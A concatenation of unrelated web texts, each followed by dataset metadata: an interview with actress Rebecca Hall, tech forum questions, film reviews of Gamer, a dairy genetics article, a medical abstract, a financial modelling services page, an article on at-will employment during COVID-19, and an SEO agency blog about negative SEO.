Hall sits down, orders avocado on toast, and talks about her new movie, Please Give. It is classic Hall territory. Ostensibly, it's about a couple who buy furniture on the cheap from relatives of the recently deceased and sell it on in their trendy vintage shop, but really it's about growing up and learning to make the best of your lot. Hall plays Rebecca, a dowdy mammogram technician who looks after her vinegary grandmother. She is beautiful, but in a rather unadorned way – a few freckles here, a couple of dimples there. Whereas it is too great a leap of the imagination for, say, Cruz or Johansson to play plain, Hall can pull it off. As so often, her character here is melancholy, uncomfortable in her skin – she stoops uneasily, her mouth seems overcrowded with teeth, and when an elderly patient tries to fix her up with her son, she blushes and bites her lip.
It's funny how her characters seem so removed from the world in which she grew up. Sir Peter Hall, her father, is the theatre director who started the Royal Shakespeare Company, her mother the opera soprano Maria Ewing. By the time she was five, they had separated. Back then, her father was always getting married and divorced, and it was time to move on to wife number four; Ewing became, and remained, a single mother.
Hall, now 28, says she doesn't understand why everybody always wants to talk about her dad. It was her mum who was her primary carer, whose achievements were the more amazing, of whom she was in awe. "Her story is insane," Hall says. "She came from working-class Detroit, no education so to speak, had a freakily large voice, won a bunch of competitions, ran off at 18, and by 23 she was an international opera singer." Ewing is a one-woman cauldron of cultures. "Her mother was Dutch, her father half Native American Sioux Indian and half black of some unknown origin."
Does Hall identify herself as black? She bursts out laughing, and when she does her features scrunch into a lovely, messy abstract. "Heeeheee. It is quite funny. No, you could not get more white and middle class and English than me."
She sits pefectly poised and straight-backed. Why does she so often play people drowning in their own diffidence? "I grew to be 5ft 10in when I was 11." Did she feel…? She finishes the sentence for me. "A right twat? Yes. It's huge for a girl, and there was a disconnect between my limbs and brain, so I was constantly falling over and very clumsy. And I was generally wildly inelegant. I wished I was smaller. Always." Thankfully, she says, she then stopped growing.
Although she had five half-brothers and sisters, her childhood was lonely at times, just her and her mother in the Sussex countryside, when they were not away touring. Her parents were "incredibly confident", she says; she wasn't. Yet at the same time there was a belief. At nine, she was acting in her father's TV adaptation of The Camomile Lawn, and realised immediately that this was what she wanted to do with her life. Yet she gave up acting the second the cameras stopped rolling – she had no interest in being a child actor. "My mother exposed me to a lot of powerful women in old Hollywood films like Bette Davis, Joan Crawford, Barbara Stanwyck. And I wanted to be Davis in All About Eve, no question. I just wanted to grow up and get on with it."
She went to the private girls' school Roedean and hated it. Yes, she knew she was privileged, but not in the way most of the other girls were. "I was a really pretentious teenager," she says, embarrassed. In what way? Well, there were times when she would listen only to music by brass bands, and she preferred painting and playing music to socialising. And? "I was quite into my politics. I didn't really want to be in a posh school, I didn't want to be posh – that was a lot to do with it. Yes, I had these high-profile parents, and Dad had a house in Chelsea, but it's not like I grew up enormously wealthy. My dad's done theatre all his life. He's not even done an Andrew Lloyd Webber musical, for God's sake! My mum has no understanding of the class system in England and is totally American culturally. My upbringing wasn't hanging out on the Kings Road and having friends called Paloma and Fifi. So I didn't entirely relate to that." She speaks in a strangely neutral non-accent, impossible to place – not unlike Kate Winslet. She says she has been self-sufficient from a young age. "I've not been reliant on my parents. I was very independent. I think I had to be in a lot of respects."
Why? "Complicated. Family, divorce, blah blah blah, parents working all over the place… I don't have any resentment towards them for my strange childhood, because they never stopped giving me an awful lot of love, but I grew up quicker than some." She remembers going to friends' houses and discovering families who ate together and stayed together. It wasn't the divorce that was unusual, it was that her father had four families. Has that shaped her attitude to marriage? "I can't tell you yet, but I think it has made me incredibly nonjudgmental. I'm accepting of practically anything, and I'm proud of that. It's an important quality to have as an actor because it allows you to accept certain ambiguities."
Hall still seems to be coming to terms with her own – she seems unsure whether she wants to embrace her privilege or run away from it. At Roedean she ended up head girl. Absolutely ridiculous, she says. So why do it? She looks even more embarrassed. "I got voted in and thought, right, they've gone for the 'ironic' vote. Then some sort of leadership instinct kicked in and I thought, I'll do it for the students, I'll make a democracy of this. And I went to the headmistress and said, OK, I'll do it, but only if you allow me to take assembly once a week, just for students. It was a disaster, and my teachers hated me."
At the end of her second year at Cambridge University, she walked out. Was she miserable? No, she says, she was blissfully happy. Why do it? "Because I wanted to make a decision in my life that I would be really proud of. I think that gave me a lot of confidence." Eh? Look, she says, it's a long story, but here's the nub: she had always wanted to go to Cambridge, always wanted to study English, and it all seemed to fall into place too easily. She'd had two great years appearing in plays, and didn't want to spoil her memories with a year of swotting. "I thought it would be slightly fraudulent to disappear into a library and cram in a really superficial, half-arsed way." So she made a pact with herself: if she got less than a 2.1 in her part-ones, she would stay to finish her degree, otherwise she'd quit. And what did she get? "I got one mark off a first." She laughs. "Which is really annoying. It almost made me stay." Weren't her tutors angry? "Furious. It was an incredibly arrogant and hideous thing to do, but I'm proud of it. I didn't want the piece of paper, I didn't want the trajectory of 'I did this, I did that', I wanted to walk out having a little chip on my shoulder." Is that what she told her mum and dad? She smiles. "No, I just said, I'm leaving, don't ask me to explain. They were devastated."
She ended up working with her father again, as a succession of super-smart, super-eloquent Shaw and Shakespeare heroines in Mrs Warren's Profession, Man And Superman and As You Like It. Wasn't it strange being directed by her father at an age when most people are beginning to enjoy their independence? No, she says, it made things easier. "We have a short-hand and intimacy." Would she tell him where to go if he upset her? "No, but I have been more inclined to argue with him in the rehearsal room than with other directors." Does she call him Dad at work? "Absolutely not!" Sir Dad? She scrunches up her face again.
Did fellow actors think she got the job because he was her father? Maybe, she says, but after a while she wasn't bothered. "There's always going to be a separate version of you that people will create, and you have no control over it." What is that? She crunches her toast. "Oh, this sort of strange deference to her father, a bluestocking intellectual who is very repressed and clearly emotionally tortured. Basically an asexual intellectual. And they like to spin an angle that I do what I do because I want to please my father." Crunch.
Why asexual? "I think it's the roles I've played. I've played an awful lot of repressed people." Is there any truth to this picture of her? "I'd say it was 100% bollocks. I've never been desperate to please my father."
I tell her I came across this great quote – when she started working in theatre with Mendes, the Sunday Times called it "a steely act of oedipal severance". "That's the one!" she shouts. "That made me laugh so much." And was it a steely act of oedipal severance? "It's the most curious bit of psychobabble. Isn't he implying I have an Oedipus complex and therefore it would be natural to deal with my guilt about not working with my father by carrying on doing Shakespeare, but with someone else, even if I don't necessarily want to do it?" Especially with a man who has been labelled the new Peter Hall? "Exactly, but then it wouldn't be steely and it wouldn't be a severance… In any event, it's all bollocks."
It's a slightly unfortunate segue into Mendes. If I now ask whether they're having a relationship, it may sound as if I'm suggesting she wants to sleep with her dad. So I broach it delicately.
"And is Sam Mendes like your dad?"
"No." Phew.
But there's still the tricky matter of asking about their rumoured relationship. I so want to be tactful, but it all just comes out wrong: "What's it like to be a marriage-wrecking bitch?" I ask.
She throws back her head and scrunches her face tighter than ever. "Heeeheeeheee! You thought you'd tackle the rumours head on, did you?"
"So are you having a relationship with Mendes?" I'm starting to sound like a cuckolded boyfriend.
"I did not have sexual relations," she says in her best Bill Clinton voice.
"Look me in the eye, Rebecca Maria Hall," I say.
"No, it's the weirdest thing and it's all a load of bollocks. Again. That's what I mean about separate versions of your life."
But he is a good mate?
"Yeah, of course he's a good mate."
Where do the rumours come from?
"I don't know. Given up caring." If I catch her snogging him in next week'sHeat, I'll be pissed off, I say. She smiles and assures me I won't.
Does it bother her that some think she is the cause of Mendes and Winslet's break-up? "It bothered me because…" She starts again. "No, mostly I didn't give a shit… There's a part of me that doesn't mind the most far-fetched things printed about me, because I'm actually keeping the reality shielded." Is the reality far worse? "No, the reality's just really boring."
So does she have a boyfriend?
"It's none of your businesssssss," she says in a mock teen-whine. "I'm not going to answer that. I'm a very private person. My friends get at me for being too private with them, so I'm highly unlikely to, you know… You want to keep it separate, or nothing's your own."
We retire to a bar football table for a quick game and chat about being cast by Woody Allen. He met her for a minute, asked if she could do an American accent, and that was that. When I score a couple of quick goals, she say her competitive instinct is kicking in. The film must have been something of a fantasy feature for Allen, what with Cruz and, er, the blond one? She fills in: "Some bird called Scarlett Johansson, Javier Bardem: really ugly people!"
Was she nervous? After all, Allen set the three women up in competition with each other. "I chose not to get involved in it, because I wouldn't have been able to do the performance if I'd turned into a neurotic basketcase – like, 'Am I as pretty as these incredibly gorgeous women?' I just wouldn't have been able to do the job."
The thing they were most competitive about was their relationship with Allen. "Your principal motive on a movie set is to get the film made, but on a Woody Allen set there's an ulterior thing that goes on, which is: did you have a conversation with Woody, how friendly have you been with him, am I liked by him?"
Time to go. She's heading back to England soon, then it's off to Scotland to film a supernatural thriller called The Awakening. So where does she call home? "I don't know." Where's her house? "I don't have one. In England I'll stay with friends and family until they get bored with me. Until I get another job." She says she quite likes the rootlessness, that it helps her acting – no fixed abode, no fixed identity – but you sense that part of her wouldn't half like a room or two of her own. "I've just started to get really envious when I go into people's houses and see books on a shelf. It's so long since I've been able to buy a heavy book."
As we head off, she talks about the things she likes to do and would like to do. As well as the art and music, there's writing. What does she write about? "I dontknowwwwwww," she teen-whines again. "Nothing I want to talk about yet. I wrote reams and reams of poetry in my diary the other night about how sad and tortured I am... I love the solitary, romantic idea of writing."
Actually, she says, she's joking about the poetry, but not about being solitary. Last night, she stayed in on her own and watched all five hours of Ingmar Bergman's gruelling Scenes From A Marriage. That sounds worrying, I say. "You know, there's an awful lot of dealing with people in acting." Dealing? "Well, not dealing with people. Just people. And I like being on my own. I really do. There's so much crap attached to acting, the fame aspect, the ego aspect, the 'Am I good, am I bad, am I being judged, who likes me, who doesn't like me…'"
Does she ever wonder what on earth she's doing in that world? "All the time. Allthe time."
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- Code, Content, and Presentation
-- CSS
---- Cascade, @import, and validation
dingman - 4:58 am on Dec 31, 2002 (gmt 0)
It works in the browsers, no question. It's just that is ignoring any @imports after the <link>ed sheet for me, but sees them if I simply comment out the <link>.
I'm trying to put together a much simplified example, but having the reverse problem now - browsers don't care, but sees all the CSS files.
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Adding a link to a view and rendering a new shape from tha
I am creating a view that allows a user to edit some content. I've written all the driver code, and in the display view I need to provide a link to allow the user to edit an item. is this as somple as providing a link that calls a controller and builds a
new shape, are there any examples people can point me to in the code for reference?
All the documentation shows how to create drivers/shapes but not how to invoke an edit driver from the front ent.
Look at the IContentManager's Build*() methods. What you need here is the BuildEditor() (this creates the editor shape by calling all the parts' Editor(); you have to surround it with a form though) and UpdateEditor() (this binds POST data to the parts'
properties and calls the POST Editor() driver methods). | mini_pile | {'original_id': '0699de2b2e036c70cbf4894daf3837d4f69cb5bf0622b8dd409088ed23705b90'} |
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Product Description
Gerard Butler stars as Kable, condemned criminal and globally famous super-soldier in the ultimate multiplayer game, Slayers. Human controllers direct each thought and move of real-life prison inmates battling in hyper-intense environments where the goal is freedom and the penalty is death. But when Kable suddenly decides he wants out, his rebellion threatens the twisted plans of game creator Ken Castle (Michael C. Hall, TV's Dexter), who will stop at nothing to crush the renegade commando in this taut, adrenaline-packed action-thriller.
Most helpful customer reviews
Ah, Mark Neveldine and Brian Taylor. They might make some crappy movies that really aren't THAT great, but I find them enjoyable nonetheless. I'm a Neveldine/Taylor fan because I really like their unique style and extremely violent/frenetic storylines. Crank is still my favourite, but Gamer and (yes, even this one) Ghost Rider: Spirit of Vengeance were also entertaining.And here we are with Gamer, a social commentary about our obsessions with games and desensitization with violence, which arrived in excellent condition. Gamer tells the story of Kable, a criminal on deathrow who's taken part in a game called Slayers, which pits criminal against criminal in a twenty-round tournament to the death. Even worse is the fact that, like all the other inmates, Kable is being controlled by a separate individual--in Kable's case, a seventeen-year-old boy. Anyone who can survive the entire game wins their freedom, but there's a catch--no one has ever beaten the game. For good reason.This is another case of a movie that's better watched with a turn-your-brain-off attitude. I have no problem with no-brainer gore fests because no-brainer gore-fests are fun, and Gamer is no exception. If anything, this movie's worth owning for the frenetic action scenes.And Michael C. Hall.
With that phrase,so ends John Tilman's nightmare for him and the family that gave him the courage he needed to survive the "game".And what a trip/game it was to get from A to B in this film.A non stop action flick from beginning to end,Gamer(released Sept/09)comes from the same imaginative team that gave us the high adrenaline Crank films,Brian Taylor and Mark Neveldine;and there is no lack of that heart-fueling adrenaline in this flick either.The story involves one John Tilman(aka Kable)who is the current rage in a game called Slayers.The game is real as are the players within the game.Each player has a real person controlling them from afar and John's happens to be a 17 year gaming whiz named Simon(Logan Lehrman).Through the immersing technology on hand Simon literally sees and hears everything John hears as he takes his "player"(John)through an intense fire-fight course from grisly beginning to bloody end.After surviving 30 games John will be allowed to leave the game and Simon has taken John,unprecedentedly,almost all the way through.The creator of this gaming world,Ken Castle(Michael Hall),was also the creator of another wildly popular interactive game,the Sims-like Society.However Castle's dreams are over exceeding his grasp as his real motives lie in trying to control the rest of society.He hopes to be able to inject his brain controlling nanobots into millions of people thereby controlling everyone.But a rebel group called Humanz is out to stop Castle's grasp of power.They contact Simon and give him a mod that enables Simon to actually talk with John during game play.Inevitably this leads to John finally breaking out of the game during what was to be his last fight and tracking down his family.Read more ›
I really had zero expectation for this movie; to be honest it was far from horrible, and not too shabby. The plot is basic criminals are implanted with nanotechnology so they can be controlled remotely by someone else. The main character Kable (Gerard Butler) has 3 more games to play to be freed. So from there you have chaos a plot based on an evil ideal from the creator of this game called "Slayers". I can say you know what this was a fun rental and the visual's were awesome the cinematography was beautiful. But I have to say the Guy from Dexter plays the bad guy and he was just awesome really great character and good casting. There are tones of plot holes but if you can check your brain at the door I think it's not a horrible movie. Recommended As A Strong Rental. | mini_pile | {'original_id': '823eed03c13500f86a1ae82d4873fce783dd26271e24837b154a04fa6d666120'} |
meta Selection for Increased Resistance to Metabolic Diseases :: The Bullvine - The Dairy Information You Want To Know When You Need It
Selection for Increased Resistance to Metabolic Diseases
Every dairy producer has faced metabolic disease in their herd. Metabolic diseases are heavily influenced by management; particularly by nutrition through the transition period. As with all diseases, however, a genetic component also exists which means that certain animals are genetically more or less susceptible to metabolic disorders. Starting December 2016, Canadian Dairy Network (CDN) will publish genetic evaluations for Metabolic Disease Resistance (MDR) in the Holstein, Ayrshire and Jersey breeds. With this new tool, producers will be able to select for increased resistance to these costly diseases. Read on to learn more about the development and interpretation of the Metabolic Disease Resistance index and the traits behind it.
Clinical Ketosis, Subclinical Ketosis and Displaced Abomasum
The impact of ketosis tends to be under predicted on most farms. Clinical ketosis is observed in a visibly ill animal, while subclinical ketosis often remains undetected unless a herd monitoring program is in place. Either form of ketosis leads to excess concentrations of ketones circulating in the bloodstream in early lactation as a result of negative energy balance. Ketosis can lead to other metabolic diseases, impairs immune function and can also lead to reduced reproductive performance, reduced milk production, and an overall increased risk of being culled. In general, higher parity cows experience higher volumes of total lactation milk loss after a ketotic episode.
Cows with ketosis are also more likely to experience a displaced abomasum with the majority of cases occurring soon after calving. An accumulation of gas in the abomasum, often caused by inadequate feeding and management, can cause this stomach to move up in the abdomen, generally to the left side of the body. Surgical intervention is often required and cows that have had a displaced abomasum have shown to produce over 300 kg less milk during the lactation.
Where Does the Data Come From?
A national system for collecting health events has been in place since 2007. Since that time, approximately 40% of all herds enrolled on milk recording have been voluntarily recording the incidence of eight key diseases and reporting this data to their milk recording agency. This accumulation of data has led to the calculation of genetic evaluations for Mastitis Resistance since August 2014. Effective December 2016, this source of data collection will also be used to produce genetic evaluations for Clinical Ketosis (CK) and Displaced Abomasum (DA). In addition, DHI laboratory analysis of milk samples for levels of BHB (i.e.: milk beta-hydroxybutyrate) serves for calculating genetic evaluations for Subclinical Ketosis (SCK). The overall index for Metabolic Disease Resistance combines evaluations for these traits into a single value for genetic selection to reduce incidence rates in Canadian dairy herds.
Metabolic Disease Resistance – The Details
Metabolic Disease Resistance (MDR) combines evaluations for six traits in total, including Subclinical Ketosis, Clinical Ketosis and Displaced Abomasum, each of which is evaluated separately for cows in first lactation compared to later lactations. To improve the accuracy of these evaluations, the genetic evaluation system also includes two indicator traits, specifically the ratio of fat to protein production in early lactation and the Body Condition Score in first lactation. In general, the relative weight on each trait in MDR is 50% for Subclinical Ketosis and 25% for both Clinical Ketosis and Displaced Abomasum. MDR has an estimated heritability of 7% and evaluations are expressed as Relative Breeding Values (RBV) with a scale that averages 100 and generally ranges from 115 for the best animals to 85 for the worst. For sires, the official status for MDR will be the same as for Subclinical Ketosis in first lactation since this trait will generally have the most daughter information included.
Due to the amount of data currently available for these diseases, CDN will publish MDR evaluations only for the Holstein, Ayrshire and Jersey breeds. In addition, genomic evaluations for MDR will only be available for the Holstein breed due to the limited number of reference sires available for Ayrshire and Jersey.
Metabolic Disease Resistance – The Impact
Table 1 shows the relative weight that each of the three metabolic diseases have in the index for Metabolic Disease Resistance (MDR) as well as the overall percentage of healthy cows in the Holstein breed for each metabolic disease. As expected, the incidence of each disease generally increases as cows get older.
As seen in Figure 1, comparing the percentage healthy daughters for sires that are highly or poorly ranked for MDR clearly shows value in genetic evaluation and selection programs based on this index to improve the resistance to all three metabolic diseases. For Holsteins, a 10-point difference between sires for MDR translates to an expected increase of healthy daughters by 5.5% for subclinical ketosis, 2% for clinical ketosis and 2% for displaced abomasum.
Metabolic disease can play a significant role in affecting the profitability of dairy farms. Combining good management practises, especially for cows during the transition period and early lactation, and the Metabolic Disease Resistance (MDR) index for genetic improvement is the ideal approach to minimizing the impact of these diseases in your herd. Given the 20% correlation that MDR has with both Pro$ and LPI some genetic progress has been achieved for these traits but producers now have the opportunity to make direct selection and mating decisions.
Lynsay Beavers, Industry Liaison Coordinator, CDN
Brian Van Doormaal, General Manager, CDN
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Ischemic monomelic neuropathy.
Ischemic monomelic neuropathy (IMN) is an infrequently recognized type of ischemic neuropathy produced by the shunting of blood away from, or the acute noncompressive occlusion of, a major proximal limb artery. IMN consists of multiple axonal-loss mononeuropathies that develop acutely and simultaneously in the distal portion of a limb. We found stereotyped clinical and EMG features in 14 patients. In six the IMN was thromboembolic in nature, whereas in eight it was due to various vascular surgical procedures. Our experience with IMN suggests that distal axonal infarction can occur without significant muscle necrosis, supporting the hypothesis that in humans the distal nerve fibers are more vulnerable than muscle to acute noncompressive limb ischemia. | mini_pile | {'original_id': 'bf75403898b0bf634608c2419d10a374ed57d1ed11442e7fcb70fc487ff5b2ff'} |
Behavioral Performance Modeling | Credit and Interest Rate Risk | MountainView Financial Solutions
Behavioral Performance Modeling
Effectively modeling your performance and reducing the risk of unforeseen performance exposures requires a deep understanding of the underlying behavior and value information. MountainView provides you with a detailed and sophisticated analysis based on the historical experience of your portfolio to enable you to more precisely model your expected performance.
Loan Prepayment Model Calibration
In order to provide you with a more consistent assessment of expected future cash flows for your consumer and commercial loans, MountainView offers a loan prepayment model assessment service. Our service includes the calibration of modeled prepayment speeds using the empirical evidence of your portfolio’s prepayment performance. We will assess your actual prepayment speeds relative to the projections based on a custom-tuned model expected performance and your actual portfolio’s performance.
MountainView’s custom tuning recommendations will minimize model projection error across major product types with particular attention to loans that are both significantly in the money and out of the money from a potential refinance perspective. We will then utilize the resulting calibration of the prepayment model to assess the current position of value/return as well as the value across various rate environments (parallel shocks). We will assess your resulting risk profile for reasonableness against industry benchmarks. As part of our services, we will provide you with the tuning settings of the model calibration and any necessary assistance in implementing these settings.
The results of our analysis will be an asset profile that aligns with your actual portfolio experience and simultaneously achieves a resulting risk profile that is reasonable relative to industry standards. Our report will include a summary of the results of (i) our assessment of your historical actual speeds by major portfolio stratifications and significant prepayment drivers; (ii) calibration tests on the prepayment model to align projected CPRs with actual CPRs; and (iii) asset risk analysis, which is designed to verify impact on fair value levels and/or returns and risk measures.
Credit Model Calibration
MountainView can assist you with your compliance with FASB’s current expected credit loss (CECL) standard released last year. While the new standard will be phased in over the next few years, we can help you implement a new CECL model which must incorporate historical information, current conditions and reasonable forecasts to estimate expected losses over the life of your loan. In order for you to transition to the CECL required model, you will need to comply with significantly greater data requirements and fairly substantial changes to the current expected loss methodologies that you presently use.
As part of this service, MountainView delivers to you a streamlined report that provides core deposit liquidity information plus income and equity at risk IRR core deposit term and value inputs. Our report presents accurate and defensible information on core deposit balances supplied behaviors and repricing, plus average lives, durations and premiums across multiple rate shock scenarios.
We will direct you through an efficient CECL model implementation centered on the following four key considerations:
We will help you evaluate and establish the model methodology you should employ in calculating expected losses. CECL does not mandate a specific methodology and your methodology will be designed to produce sound and defensible results.
Data Requirements
Industry experts are expecting that you will be required to use historical, transactional, loan-level data for a period of five years or more. MountainView will perform a gap assessment between the level and depth of internal and external data that will be needed, and your existing, readily available data. If the currently available data is insufficient, we will help you assess whether to build, buy or rent the required data.
Policies and Procedures
MountainView will review your existing policies and procedures and help you draft or update them to reflect CECL’s impact on your operations.
Given the longer forecast horizon, it is likely that that every assumption used for your loss estimates will be questioned by your auditors and regulators. As such, MountainView’s services emphasize that proper documentation be created during implementation.
Loan Prepayment Analytics
Loan Prepayment Forecasting Analytics
MountainView can provide you with precise model-ready prepayment and pay-down forecasts. We quantify these forecasts by using a simultaneous system of statistical equations that produce accurate behavior estimates by category across rate scenarios and among categories. Our standard deliverables include an easy to use executive summary, detailed forecast data tables, model ready prepayment and pay-down forecasts, and complete documentation.
Loan Prepayment Tracking Analytics
We have developed proprietary residential loan prepayment tracking analytics, which include loan-level historical data with respect to your portfolio's loan prepayments, including curtailments. Using these analytics, we can provide you with a customized report based upon any attribute that can be identified within your portfolio, such as pre- and post MIP changes, production channels, unique product codes and branch numbers. | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '0', 'language_id_whole_page_fasttext': "{'en': 0.909827470779419}", 'metadata': "{'Content-Length': '23253', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:DKY56EKRKHEY2FAOKZ6UV6R2NQ7WA6PD', 'WARC-Concurrent-To': '<urn:uuid:2a348e0b-81e4-455b-8ae3-f204d1b14a2c>', 'WARC-Date': datetime.datetime(2020, 9, 27, 11, 5, 22), 'WARC-IP-Address': '72.3.218.66', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:NMSB5UP3CFB7VCAVMXZNJICN25NA5744', 'WARC-Record-ID': '<urn:uuid:a5feffcb-1e25-4ca7-a3b4-8573e300bc2d>', 'WARC-Target-URI': 'https://mviewfs.com/behavioral-performance-modeling.html', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:4df32f70-b7de-46be-9d49-8cbb1ee5bcdd>', 'WARC-Truncated': None}", 'previous_word_count': '799', 'url': 'https://mviewfs.com/behavioral-performance-modeling.html', 'warcinfo': 'isPartOf: CC-MAIN-2020-40\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September 2020\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-67-67-206.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.023877382278442383', 'original_id': '54631528a14d51c478f7fa5405746256c825e63d0d359b7368a5f6e1c1c98664'} |
”Know your rights, all three of them,” goes a 1982 song by world music band The Clash. And, for those familiar with the cynical take on rights under the common law, the right to a job is not on the list.
Enter: “at-will” employment. Created in the late 1800s, the concept later became enshrined in law by Supreme Court justices during the Lochner era in response to progressive labor gains and laws enacted by state legislatures.
But what does “at-will” actually mean? Essentially that a worker has no right to their job and that they can be fired at their employer’s leisure—for any reason at all—except for: (1) unionized employees protected by collective bargaining agreements; and (2) employment decisions made on the basis of race, color, religion, sex, national origin, age, or disability. More on this later.
The soon-to-be pandemic known as the Wuhan Coronavirus (COVID-19) portends several thousand people taking time off of work in order to abide by quarantines, because of travel restrictions that foreclose against returning to work, or, obviously due to contracting and treating the illness itself.
When employees take time off, employers don’t much like it. And, extended periods of absence mixed with America’s at-will employment set-up could give some bosses the impression they’ve got carte blanche to fire employees out indefinitely due to Coronavirus.
But there are a few laws which might offer some U.S. workers some legal protections.
One of the major laws potentially applicable is the Family and Medical Leave Act of 1993 (FMLA). The law requires certain large employers (with 50 or more employees) to provide longterm employees up to 12 weeks of unpaid medical leave to account for recovery from a serious illness—and for other issues.
Another source of potential legal protection is the Americans With Disabilities Act of 1990 (ADA). This law created a suite of Civil Rights which, for our purposes, prohibits all medium-sized employers (those with 15 or more employees) from discriminating on the basis of disability in employment.
There are also various statutory exceptions which could offer piecemeal protections for workers impacted by the latest Coronavirus—but those apply on a state-by-state basis and several states are pure at-will with no exemptions to the standard recognized.
There are also various state laws which take the above-described federal protections and enlarge them substantially. Law&Crime surveyed employment law experts for a bit of clarity on the bigger picture here.
“I think ADA is more important for employees than FMLA,” Distinguished Professor of Law and Sidney Reitman Scholar at Rutgers School Law Alan Hyde told Law&Crime via email. “A disease that interferes with life activities is a disability under the Act, and the employer can’t discriminate.”
Hyde then sketched out a best-case scenario:
Indeed, the employer has to give reasonable accommodation, which probably means the employer has to let you work from home unless it’s impossible for you to perform your job duties from home. And the employer would have to hold the job for you until you are cleared to come back to work. The ADA also limits the employer’s ability to demand medical exams unless it’s a “business necessity,” but I think with a virus as communicable as Corona, the employer could ask for exams.
“The FMLA only applies to businesses with over 50 employees and to employees who have been there a year or more,” Hyde continued. “If the employee is actually under the care of a health care provider, and her illness prevents her from performing her job, she gets up to 12 weeks of unpaid leave. Obviously employees who can perform their duties from home will say they are disabled under the ADA and the employer must grant this reasonable accommodation. The FMLA only helps the employee who can’t work from home: food server, beautician–and only says you have to hold her job for her for 12 weeks, not that you have to pay her.”
Professor David C. Yamada is the Director of the New Workplace Institute and Co-Director of Employment Law at Suffolk University Law School.
In an email to Law&Crime he took a bird’s-eye view of the situation viz. the Coronavirus and at-will employment’s built-in precariousness.
“This is an important question, but at this point all we can do is speculate on what may be very uncharted waters,” Yamada noted before lighting out for those liquid territories. “[T]he federal Family and Medical Leave Act and perhaps the Americans with Disabilities Act may provide some job protections for employees who are suffering from coronavirus, or who are caring for family members so afflicted,” he said. “In addition, states like Massachusetts have enacted paid family leave laws that could provide both income replacement and job security for those who are sick.”
Yamada also offered something along the lines of a bearish take on what the practical import of federal laws really mean against a rising viral tide:
But in terms of how this affects the typical at-will employee, so much depends on how serious this turns out to be regarding both public health and economic impacts. Obviously if huge swaths of the workforce are infected with the virus, it will affect staffing and productivity wherever there’s a serious outbreak. Furthermore, if this reaches pandemic levels that trigger a 2008-style recession, then we could see layoffs in business sectors that are hardest hit. This would later trickle down to public sector and non-profit employment, as we saw with the Great Recession.
The bottom line: laws exist that offer avenues to protect your job if the worst happens. But the presumption in America is that you’re easily expendable—and any such protections in law would have to be affirmatively asserted by an employee against an employer. These things don’t work like magical incantations and even then the process could be long and drawn-out with an uncertain outcome.
[image via Justin Sullivan/Getty Images]
Have a tip we should know? [email protected] | mini_pile | {'original_id': 'c879684f9dde12c256999225ffb82d07926b4b759a3d22cf44632f6c2b92b049'} |
As an agency the team have years of experience in search engine optimisation and we are way past being tired of seeing black-hat SEO tactics. Since Google updated it's algorithm with it's Panda update many old-school tactics stopped which was amazing! However we've started to see a host of new tactics appearing that are effecting not only our clients websites but a few massive brands such as Wikipedia.
A Little History
Way back when Google first started there used to be ways that you could bypass search engine rules and get to the top of the ranks really quickly. We never adopted them as we knew at some point that our clients would be punished. We've always been ethical in our approach to SEO to the point where we have not won business as they prospect wanted a quick win and we wouldn't work for them.
These tricks that people used included keyword stuffing, use of common phrases, long documents that made no sense, fake reviews and much more. Luckily Google et al came down hard on the use of these tactics and many were punished by either by being removed or were found seriously down the rankings where they deserved to be!
It Has Been Quiet
Since Google made those significant changes to its algorithm there hasn't been that much going on in search engine land from an SEO perspective. We've been happily carrying on building great websites, interesting content and posting engaging social media for our clients. Gladly those SEO agencies that used bad tactics went out of business as their clients dropped them, but don't think they have gone away totally. They have been sitting and waiting for a time when they can make another fast buck and give false hope to website owners and become a pain for decent agencies whereby we have to go to war to keep our clients websites in decent positions.
They Are Back!
Yes, that's right unethical tactics are back! We have noticed competitors using article-spinning and fake reviews again plus a really awful tactic that pushes their client's competitors down the rankings.
This tactic is called "fake link building". This is where they know what Google doesn't like about a website, it's inbound links and content and goes about creating them. Rather than working on their clients sites they are creating fake links for competitor sites that Google see as having been created by the website owner. This creates a problem for genuine websites as they are punished, lose rankings and lose business as a result. We have recently seen over 4000 fake links created for a client that pushed their website down the rankings. All this does is create us a load of work where we have to disavow those links whilst also carrying on with ethical SEO for our clients.
Yes we're angry about it, but that doesn't mean we've just sat around talking about it. We've conducted an extensive investigation into what happened and actually found out who the culprits are! Now that put a smile on our faces!!
We've been able to ascertain which location the links were created from, the IP address of the ISP, the browser they used, the operating system and after a little more delving have found out the company that did it. Here we have a lesson for them. You've messed with the wrong agency...we've passed your information onto relevant authorities in your country. They were actually pleased to hear from us as they have heard about this kind of activity before and are looking at pulling together an investigation of their own. We have also passed on details of our investigation to relevant search engines who we are sure will keep a close eye on your activity from hereon in!
So what does this mean for you?
When you choose an search engine optimisation agency make sure you ask them about how they perform SEO and ask them how long it will take. If they say it's easy and really quick, run a mile! Don't get me wrong, they will get your site high up the rankings really quickly but you won't stay there for long. In addition once a search engine like Google sees you as a bad site it's extremely hard to gain any decent position ever again. You'll be black-marked for life and to be honest, so you should be!
